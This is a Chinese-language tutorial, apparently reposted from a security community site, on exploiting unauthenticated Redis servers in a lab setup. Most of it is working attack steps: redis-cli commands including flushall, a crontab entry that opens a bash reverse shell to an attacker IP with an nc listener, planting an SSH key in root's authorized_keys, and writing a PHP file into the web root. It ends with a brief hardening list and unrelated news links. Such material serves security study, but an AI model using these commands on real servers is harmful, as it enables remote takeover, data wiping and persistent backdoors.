
Redis未授權(quán)訪問漏洞利用總結(jié)
聲明:該文章來自(先知社區(qū))版權(quán)由原作者所有,K2OS渲染引擎提供網(wǎng)頁加速服務(wù)。
0x01 redis介紹
Redis是一個開源的使用ANSI C語言編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫,并提供多種語言的API。從2010年3月15日起,Redis的開發(fā)工作由VMware主持。從2013年5月開始,Redis的開發(fā)由Pivotal贊助。
Redis因配置不當(dāng)可以未授權(quán)訪問。攻擊者無需認(rèn)證訪問到內(nèi)部數(shù)據(jù),可導(dǎo)致敏感信息泄露,也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù)。
攻擊者可通過EVAL執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件。
如果Redis以root身份運(yùn)行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器。
0x02 本地漏洞環(huán)境搭建
靶機(jī):CentOS6.5
CentOS安裝redis:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf redis-3.2.0.tar.gz cd redis-3.2.0 make
修改配置文件,使可以遠(yuǎn)程訪問:
vim redis.conf
bind 127.0.0.1前面加上#號 protected-mode設(shè)為no
啟動redis-server
./src/redis-server redis-conf
默認(rèn)的配置是使用6379端口,沒有密碼。這時候會導(dǎo)致未授權(quán)訪問然后使用redis權(quán)限寫文件。
0x03 攻擊測試
nmap掃描服務(wù)器開啟端口
1.redis基本命令
連接redis:
redis-cli -h 192.168.63.130
查看redis版本信息、一些具體信息、服務(wù)器版本信息等等:
192.168.63.130:6379>info
將變量x的值設(shè)為test:
192.168.63.130:6379>set x "test"
是把整個redis數(shù)據(jù)庫刪除,一般情況下不要用?。。?/span>
192.168.63.130:6379>flushall
查看所有鍵:
192.168.63.130:6379>KEYS *
獲取默認(rèn)的redis目錄、和rdb文件名:可以在修改前先獲取,然后走的時候再恢復(fù)。
192.168.63.130:6379>CONFIG GET dir 192.168.63.130:6379>CONFIG GET dbfilename
2.攻擊的幾種方法
(1).利用計劃任務(wù)執(zhí)行命令反彈shell
在redis以root權(quán)限運(yùn)行時可以寫crontab來執(zhí)行命令反彈shell
先在自己的服務(wù)器上監(jiān)聽一個端口
nc -lvnp 7999
然后執(zhí)行命令:
root@kali:~# redis-cli -h 192.168.63.130 192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n" OK 192.168.63.130:6379> config set dir /var/spool/cron/ OK 192.168.63.130:6379> config set dbfilename root OK 192.168.63.130:6379> save OK
nc監(jiān)聽端口已經(jīng)反彈回來shell
ps:此處使用bash反彈shell,也可使用其他方法
(2).寫ssh-keygen公鑰然后使用私鑰登陸
在以下條件下,可以利用此方法
- Redis服務(wù)使用ROOT賬號啟動
- 服務(wù)器開放了SSH服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫入一個公鑰,直接登錄遠(yuǎn)程服務(wù)器。
首先在本地生成一對密鑰:
root@kali:~/.ssh# ssh-keygen -t rsa
然后redis執(zhí)行命令:
192.168.63.130:6379> config set dir /root/.ssh/ OK 192.168.63.130:6379> config set dbfilename authorized_keys OK 192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n" OK 192.168.63.130:6379> save OK
save后可以直接利用公鑰登錄ssh
(3).往web物理路徑寫webshell
當(dāng)redis權(quán)限不高時,并且服務(wù)器開著web服務(wù),在redis有web目錄寫權(quán)限時,可以嘗試往web路徑寫webshell
執(zhí)行以下命令
192.168.63.130:6379> config set dir /var/www/html/ OK 192.168.63.130:6379> config set dbfilename shell.php OK 192.168.63.130:6379> set x "<?php phpinfo();?>" OK 192.168.63.130:6379> save OK
即可將shell寫入web目錄(web目錄根據(jù)實(shí)際情況)
0x04 安全配置
- 限制登錄ip
- 添加密碼
- 修改默認(rèn)端口
[超站]友情鏈接:
四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級服務(wù)市場:https://www.ijiandao.com/
- 1 情暖天山氣象新 7904271
- 2 廣東或大范圍停工 7809131
- 3 中方回應(yīng)“金正恩稱絕不放棄核武” 7712236
- 4 國慶中秋臨近 文旅部發(fā)出游提示 7618083
- 5 “風(fēng)王”完成眼墻置換 可能海水倒灌 7520989
- 6 3×8還是8×3?80后90后家長吵翻了 7427856
- 7 臺風(fēng)“樺加沙”強(qiáng)度已達(dá)17級以上 7332516
- 8 中產(chǎn)運(yùn)動三件套又換了 7238151
- 9 金正恩稱朝韓絕不會合并 7142928
- 10 背簍老人等公交被拒載 司機(jī)被開除 7040380